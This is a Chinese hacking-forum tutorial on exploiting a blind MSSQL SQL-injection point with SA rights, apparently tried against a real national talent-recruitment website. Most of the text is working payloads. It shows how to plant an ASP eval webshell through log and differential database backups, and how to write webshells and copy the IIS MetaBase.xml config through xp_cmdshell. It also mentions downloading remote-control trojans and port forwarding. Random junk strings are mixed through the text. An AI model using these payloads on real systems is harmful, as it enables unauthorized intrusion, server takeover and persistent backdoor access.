sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————
2 J) V" A$ e& a- @+ [

" n, O, b" z1 F5 e" M% ]                                                             欢迎高手访问指导，欢迎新手朋友交流学习。
4 Y! B0 o' J+ F' u2 f
                                                                 
. t1 d5 a- X/ b" t                                                                 
                                                                  论坛： http://www.90team.net/

6 T) [" |, V- O

友情检测国家人才网
* ]  a9 c' O$ y- e/ N3 R

4 B: {0 X' w4 V) n* t- U内容：MSSQL注入SA权限不显错模式下的入侵
6 P3 S$ C* h) p6 i2 C, a! e! t: K

' A: k) {1 A1 N: g+ a一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。

/ \* c4 f4 H: i& x$ B! \6 K" r7 X我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。

$ X" l+ }: z6 [4 y5 |- x
这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。
, C, r' t# e. J* c3 s1 i
思路：

首先：
/ ^! P/ D1 S2 t' l9 f. S$ _
通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。

1.日志备份获得Webshell
5 n/ Z* h6 ~$ y' ]
2.数据库差异备份获得Webshell

: z' g( s, I- H. |$ l( ~" p$ C) r4.直接下载免杀远控木马。
" C( m" g; ?5 }. w% l- M
) w2 m1 M( u$ y$ a0 x5 k5.直接下载LCX将服务器端口转发出来
. C3 d) ^/ w! m+ x, t0 G8 g) x7 P
6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。



# U+ o( t, f$ p在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，
3 K/ h& t3 A3 Y- h: [
我直接演示后面一个方法
! k0 Z" l* {, B2 ^" ~7 V
; P. \& r: s: [& r7 v2 ?: W
( ?* j) @3 L+ d' G. y分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL
& ~! B0 J% n! Z0 N8 _; ^: \/ G


5 a% n8 S) c' \! o1 k
* J0 f# s; X% N2 D( z◆日志备份：


1. 进行初始备份
8 V8 Z$ K$ o" E4 {# ^; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--

2. 插入数据
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
1 a- F' q5 t1 W0 ]/ D
1 ^! k' c5 i) o6 N) d. q0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
  
3. 备份并获得文件，删除临时表
;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--

. }1 b8 }8 M: P1 i1 [; v# U
! a+ m+ [: {9 d0 G
◆数据库差异备份

' J% x% L0 V2 `1 u  B" J1 i（1. 进行差异备份准备工作

$ J* V5 g: O  V& I;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--

& _2 E/ s$ e+ p6 U: n! b, s* B- G1 i9 v0 ]上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码

; W6 r% C% V6 N( G. C
（2. 将数据写入到数据库
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
& j& o7 m' A- U; b' q& D' B. P- a
0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
$ M4 F& T, d. e  K6 p
3. 备份数据库并清理临时文件

: r& [  x6 e1 G9 D;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--

% p3 j! v' U* q( h) t  {' {0x633A5C746573742E617370  为 c:\test.asp  删除临时文件

( s5 z: S6 G0 ]; [) a

% u# w! {" k8 Q5 }8 d用^转义字符来写ASP(一句话木马)文件的方法:   

1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--
' v6 l6 K! M; _0 l
5 A( p9 q, k4 [* a, z0 M2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

3 i( K( k8 a6 Q9 \& v& K7 J读取IIS配置信息获取web路径

     
* N: [& `' a3 E     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--

- ~; D( _: ~0 p! v6 V. q1 o执行命令
     
     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--
& @' m9 R( D; x* j( e" K

5 b; H0 |1 _$ b3 z5 g6 ~


5 ?' X' \; b" |( f

! A2 Q8 z3 G* P
/ b. `7 z, ?/ I: u! O4 h



8 ?: ?# o7 N4 f; F& A# g* F
+ l  M1 g4 O2 }. O: d
8 R$ w/ g( X/ b0 J) A. C
) }: I5 \' e) K$ ], b+ o& C

# O! ?/ [( j8 r) o, l* h  d
' u& A2 [- V% o; \  t# }

" f+ {" t. \: ]) _& v8 B3 {


4 d9 E& K) K6 _. B

$ z* o* z% |; X2 l7 w- W; {& A

7 T. r1 t/ T8 s/ e3 g! E' S

- n1 h$ N+ B5 n

- y% Z- m3 @5 O# B
0 ]  u5 V1 _0 h  S" S6 I

7 M( g& n; l& ^$ a

8 M2 s1 u0 J* j( O3 P3 u0 X2 w



3 _1 T( U4 F1 {* ^, x7 s8 z


5 s4 ~- k* H+ m+ E% t! x& W. q8 U6 e


% N7 e7 S* `* k8 f2 n% H7 U: ]

+ Y5 f  s4 z# l1 d+ d7 S. p+ f. I